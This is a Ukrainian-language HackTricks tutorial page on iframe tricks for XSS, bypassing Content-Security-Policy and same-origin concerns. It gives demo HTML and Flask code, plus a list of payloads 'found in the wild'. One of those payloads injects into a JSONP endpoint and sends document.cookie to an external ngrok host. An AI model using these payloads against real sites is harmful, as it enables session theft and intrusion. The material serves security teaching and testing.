Iframes в XSS, CSP та SOP

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Iframes в XSS

Є 3 способи вказати вміст сторінки в iframe:

  • Через src, що вказує на URL (URL може бути крос-доменним або того ж домену)
  • Через src, що вказує на вміст, використовуючи протокол data:
  • Через srcdoc, що вказує на вміст

Доступ до змінних батьківського та дочірнього контексту

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Якщо ви отримуєте доступ до попереднього html через http сервер (наприклад, python3 -m http.server), ви помітите, що всі скрипти будуть виконані (оскільки немає CSP, що цьому перешкоджає). батьківський контекст не зможе отримати доступ до змінної secret всередині будь-якого iframe і тільки iframes if2 та if3 (які вважаються такими ж сайтами) можуть отримати доступ до секрету в оригінальному вікні.
Зверніть увагу, що if4 вважається таким, що має null походження.

Iframes з CSP

note

Будь ласка, зверніть увагу, що в наступних обхідних шляхах відповідь на iframe-сторінку не містить жодного заголовка CSP, який заважає виконанню JS.

Значення self для script-src не дозволить виконання JS коду, використовуючи протокол data: або атрибут srcdoc.
Однак навіть значення none для CSP дозволить виконання iframe, які вказують URL (повний або лише шлях) в атрибуті src.
Отже, можливо обійти CSP сторінки за допомогою:

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Зверніть увагу, що попередній CSP дозволяє виконання лише вбудованого скрипту.
Однак, будуть виконані лише скрипти if1 та if2, але лише if1 зможе отримати доступ до батьківського секрету.

Отже, можливо обійти CSP, якщо ви можете завантажити JS файл на сервер і завантажити його через iframe, навіть з script-src 'none'. Це можна також зробити, зловживаючи кінцевою точкою JSONP того ж сайту.

Ви можете протестувати це в наступному сценарії, де кукі викрадається навіть з script-src 'none'. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Інші Payloads, знайдені в дикій природі

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Вміст в iframe може підлягати додатковим обмеженням за допомогою атрибута sandbox. За замовчуванням цей атрибут не застосовується, що означає, що обмеження не діють.

Коли використовується, атрибут sandbox накладає кілька обмежень:

  • Вміст розглядається так, ніби він походить з унікального джерела.
  • Будь-яка спроба надсилання форм блокується.
  • Виконання скриптів заборонено.
  • Доступ до певних API вимкнено.
  • Він запобігає взаємодії посилань з іншими контекстами перегляду.
  • Використання плагінів через <embed>, <object>, <applet> або подібні теги заборонено.
  • Навігація верхнього рівня контексту перегляду вмістом сама по собі заборонена.
  • Функції, які запускаються автоматично, такі як відтворення відео або автоматичне фокусування елементів форм, блокуються.

Значення атрибута можна залишити порожнім (sandbox=""), щоб застосувати всі вищезазначені обмеження. Альтернативно, його можна встановити на список специфічних значень, розділених пробілами, які звільняють iframe від певних обмежень.

html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes в SOP

Перевірте наступні сторінки:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks